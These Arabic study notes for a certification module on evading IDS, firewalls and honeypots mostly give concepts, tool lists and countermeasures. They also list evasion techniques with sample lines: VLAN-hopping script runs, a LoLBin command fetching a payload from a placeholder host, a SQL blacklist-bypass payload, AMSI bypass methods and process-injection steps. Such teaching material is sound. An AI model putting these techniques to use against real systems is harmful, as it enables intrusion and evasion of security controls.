01مفاهيم الـ IDS وIPS والـ Firewall

نظام كشف التسلّل (IDS) ونظام منع التسلّل (IPS)

الـ IDS نظام برمجي أو جهاز عتاد يفحص كل حركة الشبكة الواردة والصادرة بحثًا عن أنماط مشبوهة قد تُشير لاختراق. بيقارن الحركة بـ Signatures مطابقة لأنماط تسلّل معروفة ويرفع إنذارًا عند التطابق.

IDS مقابل IPS

الـ IPS يُعتبَر IDS نشطًا (Active IDS) لأنه مش بس يكشف التسلّل، لكن كمان يقدر يمنعه في نفس الوقت.

أين يُوضَع الـ IDS في الشبكة؟

أكتر مكان شائع لوضع IDS هو بجانب الـ Firewall. بحسب الحركة المراد مراقبتها، يُوضَع الـ IDS خارج أو داخل الـ Firewall لمراقبة الحركة المشبوهة. أفضل ممارسة هي الدفاع متعدّد الطبقات: IDS واحد أمام الـ Firewall وآخر خلفه.

الموضع الأمثل

لو IDS داخل الشبكة، أحسن موقع له هو قريب من الـ DMZ.

كيف يكشف الـ IDS التسلّل؟

طريقة الكشفالشرح
Signature Recognition (Misuse Detection)يحاول تحديد أحداث تدلّ على إساءة استخدام مورد نظام أو شبكة — مقارنة بتوقيعات معروفة مسبقًا
Anomaly Detectionيكشف التسلّل بناءً على خصائص سلوكية ثابتة للمستخدمين ومكوّنات النظام — أي انحراف عن القاعدة يُعتبَر مشبوهًا
Protocol Anomaly Detectionتحليل حركة الشبكة لاكتشاف الانحرافات عن معايير البروتوكولات المعتمدة أو أنماط السلوك المتوقَّعة

أنواع الـ IDS

النوعالشرحالملاحظة
Network-Based IDS (NIDS)صندوق أسود يُوضَع على الشبكة في وضع Promiscuous يراقب الأنماط الدالّة على التسلّليكشف DoS وPort Scans ومحاولات الاختراق بمراقبة حركة الشبكة
Host-Based IDS (HIDS)يراقب الأحداث على جهاز مضيف معيّن (Host)أقل شيوعًا بسبب التحميل الزائد (Overhead) الناتج عن مراقبة كل حدث على كل جهاز

أنواع تنبيهات الـ IDS

النوعهجوم حقيقي؟إنذار؟الشرح
True Positive ✅نعمنعمالـ IDS يرفع إنذارًا عند حدوث هجوم حقيقي — الحالة المثالية
False Positive ⚠️لانعمالـ IDS يرفع إنذارًا بدون وجود هجوم — إنذار كاذب يُضيّع الوقت
False Negative ❌نعملاالـ IDS لا يرفع إنذارًا رغم حدوث هجوم حقيقي — الأخطر
True Negative ✅لالاالـ IDS لا يرفع إنذارًا ولا يوجد هجوم — طبيعي

الـ Firewall

الـ Firewall عتاد و/أو برمجيات مصمَّمة لمنع الوصول غير المصرّح به لشبكة خاصة أو منها. يُوضَع عند نقطة التقاء أو بوّابة بين شبكتين، عادةً بين شبكة خاصة والإنترنت، ويفحص كل الرسائل الداخلة والخارجة ويحجب ما لا يستوفي معايير الأمان.

بنية الـ Firewall

المكوّنالشرح
Bastion Hostحاسوب مصمَّم ومُهيَّأ لحماية موارد الشبكة. له واجهتان: عامة متصلة بالإنترنت مباشرةً، وخاصة متصلة بالـ Intranet
Screened Subnet DMZتحتوي على أجهزة تقدّم خدمات عامة. الـ DMZ ترد على الطلبات العامة ولا يصلها الشبكة الخاصة، والإنترنت لا يستطيع الوصول للمنطقة الخاصة
Multi-homed Firewall DMZFirewall بواجهتين أو أكثر لتقسيم الشبكة حسب أهداف الأمان المحدّدة للمؤسسة
الـ DMZ

منطقة تستضيف حاسوبًا أو شبكة فرعية صغيرة كمنطقة محايدة بين الشبكة الداخلية للشركة والشبكة الخارجية غير الموثوقة. تعمل كـ Buffer بين الشبكة الداخلية الآمنة والإنترنت غير الآمن لمنع الوصول المباشر لأجزاء أخرى من الشبكة.

أنواع الـ Firewalls

النوعطبقة OSIالشرح
Packet FilteringNetwork (L3)يقارن كل حزمة بمعايير محدَّدة مسبقًا: عناوين IP المصدر والوجهة، أرقام البورتات، والبروتوكولات — ثم يقرّر بالإسقاط أو الإرسال
Circuit-Level GatewaySession (L5)يعمل على طبقة الجلسة — يسمح بمرور الحركة عبر البوّابة مع حجب الحزم الواردة المباشرة
Application-Level FirewallApplication (L7)يعمل على طبقة التطبيق — يفلتر الحركة بناءً على بروتوكولات تطبيق محدّدة، يسمح فقط بالخدمات المدعومة ويحجب الباقي
Stateful Multilayer InspectionL3 + L5 + L7يجمع Packet Filtering وCircuit-Level وApplication-Level — يقيّم شرعية جلسة طبقة الشبكة ومحتوى حزمة طبقة التطبيق معًا
Application ProxyApplication (L7)يعمل كواجهة بين محطات العمل والإنترنت — يفلتر الاتصالات بناءً على خدمات وبروتوكولات معيّنة (مثل السماح بـ FTP فقط عبر FTP Proxy)
VPN Firewallمتعدّديُضيف تشفيرًا ويدير تدفّق الحركة بين نقاط نهاية الـ VPN — يضمن أن الـ VPN Tunnel يسمح فقط بالحركة المصرّح بها

02أدوات الـ IDS وIPS والـ Firewall

الكشف عن التسلّل بـ YARA Rules

YARA أداة بحث في البرمجيات الخبيثة (Malware) تسمح لمحلّلي الأمان باكتشاف وتصنيف الـ Malware بنهج قائم على القواعد (Rules). متعدّدة المنصّات (Windows وmacOS وLinux)، وتسمح بإنشاء قواعد تصف عائلات الـ Malware بأنماط نصية أو ثنائية.

جزء YARA Ruleالشرح
Conditionتحدّد متى تكون النتيجة صحيحة على ملف ما — مكوَّنة من Boolean Expressions
Stringsتُعطي معنى لـ Condition بتعريف النصوص المطلوب البحث عنها (Hex، نصية، أو Regex)
Metadataمعلومات عامة يستخدمها المحلّل لتحديد الملفات المجمَّعة بقاعدة معيّنة
yarGen

أداة لتوليد YARA Rules تلقائيًا من نصوص ملفات Malware مع إزالة النصوص الموجودة في ملفات Goodware. تحتوي قاعدة بيانات ضخمة من نصوص Goodware وأكواد Opcode كأرشيفات ZIP.

أدوات الـ IDS

الأداةالشرح
SnortIDS شبكي مفتوح المصدر — تحليل حركة Real-Time وتسجيل حزم على شبكات IP. يكشف Buffer Overflows وPort Scans وOS Fingerprinting. يستخدم لغة قواعد مرنة ومحرّك كشف معياري (Modular Plug-in). الاستخدامات: Packet Sniffer، Packet Logger، Network IPS
Suricataمحرّك كشف تهديدات شبكي قوي — IDS وIPS وNSM ومعالجة Pcap Offline. يستخدم Lua Scripting لكشف التهديدات المعقّدة. يتكامل مع SIEMs وSplunk وElasticsearch وKibana عبر YAML وJSON

أدوات إضافية: Juniper IDP، Samhain HIDS، OSSEC، Zeek، Cisco Secure IPS.

Snort Rules — البنية

snort — rule structure

[Rule Header]  [Rule Options]
alert tcp any any -> 192.168.1.0/24 80 (msg:"HTTP Traffic Detected"; sid:1001; rev:1;)

# Rule Header: action protocol src_ip src_port direction dst_ip dst_port
# Actions: alert | log | pass | drop | reject | sdrop
# Rule Options: msg (رسالة التنبيه)، sid (معرّف القاعدة)، content (نمط البحث)

أدوات الـ IPS

الأداةالشرح
Trellix IPSيكتشف Botnets وDiorms وهجمات الاستطلاع المخفية مسبقًا. يجمع بيانات التدفّق (Flow Data) من الـ Switches والـ Routers وينفّذ تحليل سلوكي على مستوى الشبكة
Check Point Quantum IPSCheck Point
Atomic OSSECAtomicorp
McAfee Host IPSMcAfee
Cisco Secure IPS (NGIPS)Cisco
Palo Alto Advanced Threat PreventionPalo Alto Networks

أدوات الـ Firewall

الفئةأمثلة
Network-based FirewallsCisco Secure Firewall ASA، Palo Alto PA-7500، FortiGate 7121F، Check Point 28000 Quantum، Juniper SRX
Host-based FirewallsMicrosoft Defender Firewall، ZoneAlarm Pro، Comodo Firewall، Norton Smart Firewall، McAfee Firewall
حسب آلية العملIPFire، pfSense، SonicWall TZ Series، BIG-IP Advanced Firewall Manager، Sophos Firewall، WatchGuard Firebox، FortiProxy

03تقنيات التحايل على الـ IDS والـ Firewall

يوجد 20 تقنية رئيسية للتحايل موزَّعة بين تحديد الـ IDS/Firewall والتحايل الفعلي:

تحديد الـ IDS/Firewall

التقنيةالشرحمثال
Port Scanningتحديد البورتات المفتوحة والخدمات الشغّالة. بعض الـ Firewalls تعرّف نفسها في ردود Port ScansManageEngine Firewall Analyzer على UDP 514/1514 — Snort IDS على TCP 80/UDP 53
Firewalkingاستخدام قيم TTL لتحديد فلاتر ACL في البوّابة ورسم خرائط الشبكة بتحليل ردود حزم IP. إرسال حزم TCP/UDP بقيمة TTL أكبر بـ hop واحد من الـ Firewall المستهدَفأدوات: Firewalk، Nmap firewalk script
Banner Grabbingالـ Banners إعلانات خدمات ترد على طلبات الاتصال وتحمل معلومات الإصدار. تساعد في تحديد مورِّد الـ Firewall وإصدار الـ Firmware، وتكييف الهجوم لتجنّب الكشفاكتشاف نوع الـ IDS وإعداداته

تقنيات التحايل الأساسية

التقنيةالشرحالأداة
IP Address Spoofingتعديل عنوان IP المصدر في رؤوس الحزم لإخفاء هوية المهاجم — إنشاء حزم بعنوان IP مزوَّر يبدو أنه من مضيف موثوقHping
Source Routingالمرسِل يُحدِّد مسار الحزمة عبر أجزاء الشبكة الأقل حمايةً أو مراقبةً — كل راوتر يفحص عنوان IP الوجهة ويختار الـ hop التالي، في Source Routing المرسِل يتخذ بعض/كل هذه القرارات—
Tiny Fragmentsإنشاء شظايا صغيرة جدًا من الحزم الصادرة تجبر معلومات رأس TCP على الانتقال للشظية التالية — قواعد فلتر IDS التي تبحث عن أنماط لن تتطابق بسبب انكسار الرأس. ينجح الهجوم لو الـ Router يفحص الشظية الأولى فقط ويسمح لباقيها—
IP as URLكتابة عنوان IP للموقع المحجوب مباشرةً في المتصفح بدل اسم الدومين — يفشل لو برنامج الحجب يتتبّع عنوان IP المُرسَل للسيرفرHost2ip
Anonymous Surfing Sitesخدمات Anonymizer تُخفي عنوان IP الحقيقي وتعرض عنوانًا بديلًا لتجنّب الحجب2ip.io، kproxy، proxify، anonymouse.org
Proxy Serverتوجيه الحركة عبر Proxy — الإعداد في Windows: Control Panel → Network → Internet Options → LAN Settings → Use a proxy server (Port 8080 افتراضيًا)—

تقنيات الـ Tunneling

نوع الـ Tunnelالآليةالأداة
ICMP Tunnelingتضمين Backdoor Shell في الجزء الخاص بالبيانات من حزم ICMP Echo. الـ Firewall/IDS يفترض إنها حركة ICMP مشروعة ويسمح لها بالمرور بدون فحص عميقICMPTX
ACK Tunnelingاستغلال الطبيعة الموثوقة عادةً لحزم ACK. يبني اتصال TCP شرعي ثم يحقن حزم ACK تحتوي حمولات خبيثة (Malicious Payloads)Hping، Nping
HTTP Tunnelingتغليف البيانات داخل حركة HTTP (Port 80) — يعمل لو الشركة عندها Web Server عام على Port 80 غير مُفلتَر على الـ IDS/FirewallHTTPort، HTTHost
SSH Tunnelingتشفير وتنفيذ Tunnel لكل الحركة من الجهاز المحلي للبعيد لتجنّب ضوابط الأمان المحيطية. يستخدم Local/Remote/Dynamic Port ForwardingOpenSSH، Bitvise SSH
DNS Tunnelingتضمين بيانات خبيثة داخل حزم DNS (حد 255 بايت للاستعلامات الخارجية) عبر Port 53. يُستخدَم للتواصل بين الجهاز المُخترَق وسيرفر C&C — حتى DNSSEC لا يكشفهiodine، dnscat2

خطوات HTTP Tunneling بـ HTTPort/HTTHost

1
تعطيل خدمات IIS

تعطيل IIS Admin Service وWorld Wide Web Publishing Service.

2
تشغيل HTTHost

تشغيله بالإعدادات الافتراضية وإدخال كلمة المرور وتفعيل "Revalidate DNS names" و"Log connections".

3
التحقّق من الـ Listener

التأكد من رسالة "Listener: listening at:90" في تبويب Application Log.

4
إنشاء Outbound Rule

تفعيل Windows Defender Firewall وإنشاء قاعدة Outbound تحجب الحركة على Port 21.

5
إعداد HTTPort

في تبويب Proxy، إدخال IP لجهاز HTTHost والبورت 90 وكلمة المرور.

6
إضافة Port Mapping

في تبويب Port mapping، إضافة Mapping جديد للنظام الهدف.

7
تشغيل HTTPort

ضغط Start في تبويب Proxy — سيعترض HTTPort طلب FTP ويُنفِّذ Tunnel عبره.

8
الاتصال عبر FTP

فتح Command Prompt وتشغيل ftp 127.0.0.1 وإدخال بيانات الدخول — الاتصال يتمّ بتجاوز HTTP Proxy والـ Firewall.

SSH Tunneling — مثال

openSSH — local port forwarding example
ssh -f user@certifiedhacker.com -L 5000:certifiedhacker.com:25 -N

# -f              تشغيل في الخلفية (Background Mode)
# -L 5000:host:25 local-port : host : remote-port
# -N              لا تنفّذ أي أمر على السيرفر البعيد
نوع الـ Port Forwardingالشرح
Local Port Forwarding (LPF)يسمح بالوصول للموارد الداخلية غير المتاحة مباشرةً من خارج الشبكة
Remote Port Forwarding (RPF)يسمح بالوصول للتطبيقات المحلية على جانب الهدف أو بيئات التطوير في الشبكة البعيدة
Dynamic Port Forwarding (DPF)ينشئ SOCKS Proxy عبر SSH Tunnel يُوجِّه أي حركة ويصل لخدمات غير مصرَّح بها بشكل غير مكتشَف

تقنيات التحايل الأخرى

التقنيةالشرح
External Systemsالمهاجم يسرق Session ID وCookies من مستخدم شرعي متصل بنظام خارجي، يصل للشبكة الداخلية ويُصدر أوامر openURL() لإعادة توجيه متصفح الضحية لسيرفره الخبيث
MITM Attackتسميم DNS Server ← المستخدم يطلب موقعًا شرعيًا ← DNS يرجع IP المهاجم ← المستخدم يتصل بسيرفر المهاجم ← المهاجم يعمل Relay للحركة مع الموقع الحقيقي وينفّذ أكواده
Content Smugglingإرسال محتوى يحمل كودًا خبيثًا للمستخدم وخداعه لفتحه. يستخدم Steganography أو Obfuscation لإخفاء الكود في ملفات تبدو شرعية (Email بمرفقات Office أو Executable)
HTML Smugglingحقن كود خبيث في HTML/JavaScript مع إخفائه من Firewalls وWeb Proxies وEmail Gateways. يستغل ميزات HTML5 لإنشاء ملف عند التحميل مباشرةً في المتصفح دون عبور الشبكة
WAF Bypass — HTTP Header Spoofingاستخدام X-Forwarded-For لتزوير الـ Headers وإيهام الـ WAF بأن الطلب من الشبكة الداخلية
WAF Bypass — Blacklist Detectionتحديد الكلمات المحجوبة واستبدالها بـ Regex وPayloads بديلة. مثال: 1 || (select username, pwd from employees where userID = 1001) = 'admin'
WAF Bypass — Fuzzing/Brute-forceإرسال Payloads على الـ WAF المحلي لتحديد ما يمرّ، باستخدام Wordlists زي Assetnote وSecLists
WAF Bypass — SSL/TLS Cipher Abuseتحديد Ciphers مدعومة من السيرفر لكن غير مدعومة من الـ WAF، واستخدامها للتحايل (sslscan2، abuse-ssl-bypass-waf.py)
Windows BITSاستغلال Background Intelligent Transfer Service المستخدَم لتوزيع تحديثات Windows — المؤسسات تتجاهل حركة BITS عادةً. يستخدمه المهاجمون لتشغيل تطبيقات خبيثة أو Backdoor عبر bitsadmin أو API calls

تقنيات أخرى لتحايل الـ IDS


04التحايل على الـ NAC وأمان نقاط النهاية (Endpoint Security)

VLAN Hopping

أداة VLANPWN تحتوي سكربتين:

السكربتالشرح
DoubleTagging.pyيُنفِّذ هجوم VLAN Hopping بحقن إطار بـ 802.1Q tags مزدوجة
DTPHijacking.pyيُنفِّذ DTP Switch Spoofing/Hijacking — يُرسِل إطار DTP-Desirable خبيث ويحوّل جهاز المهاجم لـ Trunk Channel
bash — VLANPWN usage
python3 DoubleTagging.py --interface eth0 --nativevlan 1 --targetvlan 20 --victim <IP> --attacker <IP>
python3 DTPHijacking.py --interface eth0

التحايل على NAC باستخدام Pre-authenticated Device

المهاجم يحصل على جهاز مُصادَق مسبقًا ويضع جهازه (مثل Raspberry Pi) بين الجهاز المُصادَق وسيرفر الـ Authentication، مما يضمن مرور الحركة عبر جهازه. أدوات: nac_bypass_setup.sh، FENRIR، NACkered، Silentbridge، BITM.

Ghostwriting

تعديل هيكل كود الـ Malware بدون التأثير على وظيفته، عبر Binary Deconstruction وإدراج كود Assembly عشوائي وإعادة التجميع. يتجاوز برامج مكافحة الفيروسات (Signature-based Detection). أداة: Ghostwriting.sh.

Application Whitelisting Bypass

الـ Application Whitelisting ميزة أمان في Windows لمنع تنفيذ التطبيقات الخبيثة. التطبيق عند تشغيله يبحث عن DLLs في مسار ملفه. المهاجم يضع DLL خبيث باسم شرعي في نفس المجلد (DLL Hijacking) ← الـ DLL الخبيث يُنفَّذ مع التطبيق لتعطيل أمان الـ Endpoint. يمكن كمان استخدام rundll32.exe، regsvr32.exe، وPowerShell.

Dechaining Macros

التحايل على كشف الـ Endpoint وتعديل الذاكرة والـ Registry وملفات Windows بـ VBScript بأسلوبين:

الأسلوبالشرح
Spawning through ShellCOMاستدعاء أي Object مرتبط بـ COM عبر VBScript لاستخدام وظائفه — مثال: تشغيل calc.exe عبر ShellExecute
Spawning using XMLDOMتنزيل وتشغيل كود داخل عملية Office. يستخدم Microsoft.XMLDOM لتحميل ملف XSL خبيث من سيرفر بعيد وتحويله

Clearing Memory Hooks (تجاوز EDR)

1
تحديد DLLs التطبيق

المهاجم يجد الـ DLLs والدوال المرتبطة والـ Syscalls المُصدَّرة للتطبيق الهدف.

2
تحديد الـ Hooks

يستخدم أدوات مثل x64dbg لتحديد الـ Syscalls المُعلَّقة (Hooked) في الذاكرة.

3
إنشاء Payload مُعادِل

يصنع Payload يُعيد كتابة هذه الـ Hooks بالبايتات الأصلية الدقيقة.

4
إزالة الـ EDR Hooks

إعادة تحميل المكان الصحيح في الذاكرة لمحو هوكس الـ EDR.

5
تنفيذ بـ Syscalls مخصَّصة

استخدام Assembly وSyscalls خاصة لتنفيذ Payload الخبيث بدون تفعيل أي EDR Hook.

Process Injection

حقن كود Malware في مساحة ذاكرة عملية شغّالة — جزء من استراتيجية للاستمرارية (Persistence)، تصعيد الصلاحيات، أو تنفيذ أنشطة خبيثة بدون كشف.

1
VirtualAllocEx()

تخصيص ذاكرة في مساحة عنوان العملية الهدف — المهاجم يحجز كتلة ذاكرة لحقن الـ Payload فيها.

2
WriteProcessMemory()

كتابة البيانات في مساحة ذاكرة العملية البعيدة — المهاجم يكتب الـ Payload الخبيث في الكتلة المحجوزة.

3
CreateRemoteThread()

إنشاء Thread جديد في مساحة عنوان العملية الهدف — يُوجِّهه لتنفيذ الكود المحقون.

LoLBins — Living off the Land Binaries

أدوات نظام شرعية مُثبَّتة مسبقًا أو محمَّلة من مصادر موثوقة (Microsoft) تُستخدَم لتجاوز الـ EDR.

lolbins — edr bypass via deimos c2
# 1. إعداد Agent في Deimos C2 للتواصل عبر HTTPS

# 2. تنفيذ Windows Binary لتحميل ملف بعيد
C:/> ConfigSecurityPolicy.exe http://example.com/payload

# 3. صلاحيات User على Windows 10/11
C:/> CustomShellHost.exe

CPL Side-Loading

محاكاة وظيفة CPL Applet الأصلية لجعل النشاط الخبيث يبدو شرعيًا — عند تنفيذ ملف CPL شرعي يُحمَّل الكود الخبيث المدمج معه. أنظمة الكشف التقليدية كثيرًا ما تتجاهل ملفات CPL لأنها غير مرتبطة عادةً بالـ Malware. أداة: CPLResourceRunner.

Metasploit Templates Bypass

إنشاء Payload خبيث بـ msfvenom ← تحليله على VirusTotal لمعرفة معدّل الكشف ← التعديل المتكرّر لـ Metasploit Templates لتقليل معدّل الكشف.

تجاوز AMSI (Windows Antimalware Scan Interface)

التقنيةالشرح
PowerShell Downgradeتخفيض إصدار PowerShell لـ 2.0 لتجاوز كشف AMSI (غير مدعوم في الإصدار القديم)
Obfuscationجعل الكود معقّدًا وغير مقروء — تفكيك النصوص وتجميعها بعامل +. أداة AmsiTrigger تفحص السكربتات وتحدّد الأسطر المُشغِّلة لـ AMSI
Forcing an Errorتعديل دالة amsiInitFailed() لإرجاع Boolean True بدل 0 — يُولِّد خطأ أثناء تهيئة AMSI عبر تخصيص الذاكرة وتعديل قيم في AmsiUtils
Memory Hijackingالتلاعب بالدوال الداخلية لـ AMSI عبر Hooking دالة AmsiScanBuffer() وإجبارها على إرجاع AMSI_RESULT_CLEAN دائمًا

05مفاهيم الـ Honeypot وكيف تكشفه

ما هو الـ Honeypot؟

أنواع الـ Honeypots

النوعالشرح
Low-interactionيُحاكي عددًا محدودًا فقط من الخدمات والتطبيقات
Medium-interactionيُحاكي نظام تشغيل حقيقي وتطبيقاته وخدماته
High-interactionيُحاكي كل الخدمات والتطبيقات
Pure Honeypotsيُحاكي شبكة الإنتاج الحقيقية للمؤسسة
Database Honeypotsقواعد بيانات وهمية معرَّضة لهجمات SQL Injection وDatabase Enumeration
Spam Honeypotsسيرفرات بريد تقبل الإيميلات من أي مصدر لاصطياد المرسِلين العشوائيين (Spammers) ورصد نشاطهم
Spider Honeypots (Spider Traps)فخاخ لـ Web Crawlers والـ Spiders. موقع وهمي يُقدَّم كأنه حقيقي — من يحاول Crawling يُحدَّد ويُدرَج في القائمة السوداء
أدوات Honeypot

HoneyBOT (Medium-interaction للـ Windows)، Blumira، NeroSwarm Honeypot، Valhala Honeypot، Cowrie، StingBox.


06الإجراءات المضادة لمنع التحايل

الدفاع ضد التحايل على الـ Firewall

  1. إعداد الـ Firewall بحيث يُفلتَر عنوان IP للمتسلّل
  2. ضبط مجموعة قواعد الـ Firewall لحجب كل الحركة والسماح فقط بالخدمات المطلوبة
  3. إن أمكن، إنشاء User ID فريد لتشغيل خدمات الـ Firewall بدل تشغيلها بحساب Administrator أو Root
  4. إعداد Syslog Server بعيد وتطبيق إجراءات صارمة لحمايته من المستخدمين الخبيثين
  5. مراقبة سجلات الـ Firewall بانتظام والتحقيق في كل الإدخالات المشبوهة
  6. تعطيل كل اتصالات FTP الواردة والصادرة من الشبكة بشكل افتراضي
  7. تشغيل استعلامات مخاطر دورية لتحديد قواعد الـ Firewall الضعيفة
  8. فهرسة ومراجعة كل الحركة المسموح لها بالدخول والخروج عبر الـ Firewall
  9. مراقبة وصول المستخدمين للـ Firewall والتحكّم في من يقدر يعدّل إعداداته
  10. تحديد عناوين IP المصدر والوجهة والبورتات بدقة في القواعد
  11. إخطار مسؤول السياسة الأمنية بأي تغييرات على الـ Firewall وتوثيقها
  12. التحكّم في الوصول الفيزيائي للـ Firewall
  13. أخذ نسخ احتياطية منتظمة لـ Ruleset وملفات إعدادات الـ Firewall
  14. جدولة تدقيقات أمنية دورية للـ Firewall
  15. البحث عن HTTPS/TLS Inspection متكامل للدفاع ضد التحايل

Cheat Sheet مرجعي

مقارنة أنواع الـ Firewalls وطبقة OSI

النوعطبقة OSIالميزة الرئيسية
Packet FilteringL3 — Networkسريع، يفحص الـ Headers فقط — لا يتتبّع حالة الاتصال
Circuit-Level GatewayL5 — Sessionيتحقّق من مصافحة TCP — لا يفحص محتوى الحزمة
Application-Level FirewallL7 — Applicationأعمق فحص — Proxy لكل بروتوكول على حدة
Stateful Multilayer InspectionL3 + L5 + L7يجمع الثلاثة — يحلّل الحالة والمحتوى معًا
VPN Firewallمتعدّديُضيف تشفيرًا للاتصالات عبر VPN Tunnel

مقارنة تقنيات الـ Tunneling للتحايل

النوعالبروتوكول/البورتالأداةملاحظة
ICMP TunnelingICMP (Echo)ICMPTXيخفي Payload في حزم Ping
ACK TunnelingTCP ACKHping، Npingيستغل الطابع الموثوق لحزم ACK
HTTP TunnelingTCP 80HTTPort، HTTHostيعمل لو Port 80 مفتوح بدون فلترة
SSH TunnelingTCP 22OpenSSH، Bitviseتشفير كامل — Local/Remote/Dynamic PF
DNS TunnelingUDP 53iodine، dnscat2حد 255 بايت — مخفي وصعب الكشف

مقارنة أنواع الـ Honeypots

النوعمستوى التفاعلما يُحاكيه
Low-interactionمنخفضخدمات وتطبيقات محدودة فقط
Medium-interactionمتوسطنظام تشغيل حقيقي وخدماته
High-interactionمرتفعكل الخدمات والتطبيقات
Pure Honeypotحقيقيشبكة الإنتاج الكاملة
Database Honeypotمتخصَّصقاعدة بيانات وهمية للـ SQL Injection
Spam Honeypotمتخصَّصسيرفر بريد مفتوح لاصطياد الـ Spam
Spider Trapمتخصَّصموقع وهمي لاصطياد Web Crawlers

تقنيات تجاوز AMSI — مرجع سريع

التقنيةالآلية
PowerShell Downgradepowershell -version 2 ← AMSI غير متوفّر في v2
Obfuscationتفكيك النصوص وإعادة تجميعها بـ + — AmsiTrigger لتحديد الأسطر المُشغِّلة
Forcing an Errorتعديل amsiInitFailed ← True ← AMSI يفشل في التهيئة
Memory HijackingHooking AmsiScanBuffer() ← إرجاع AMSI_RESULT_CLEAN دائمًا

الخلاصة العامة للموديول

الموديول ده ناقش مفاهيم الـ IDS وIPS والـ Firewall وحلولها، والتقنيات المتنوّعة للتحايل عليها (20 تقنية)، وتقنيات تجاوز الـ NAC وأمان نقاط النهاية. ناقش كمان مفاهيم الـ Honeypot وأنواعه، وختم بإجراءات مضادة تفصيلية لمنع التحايل.

$ cat ./module12_summary.txt

الـ Firewall والـ IDS مش نهاية الدفاع — هما بداية عقلية الطبقات. المهاجم المتمرّس يعامل كل عائق كمشكلة هندسية: إيجاد بروتوكول موثوق مسموح بمروره وتحويله لـ Tunnel. الدفاع الحقيقي يبدأ من فهم هذه المسارات قبل أن يستغلّها المهاجم.

Exam Tip

أسئلة هذا الموديول غالبًا تُركِّز على: الفرق بين أنواع تنبيهات الـ IDS الأربعة (True/False Positive/Negative)، أنواع الـ Firewalls وطبقة OSI لكل منها، الفرق بين Firewalking والـ Port Scanning، أنواع الـ Honeypots ومستوى تفاعل كل منها، وDNS Tunneling عبر Port 53 وعلاقته بـ C&C Server.


نهاية نوتس الموديول الثاني عشر — Evading IDS, Firewalls, and Honeypots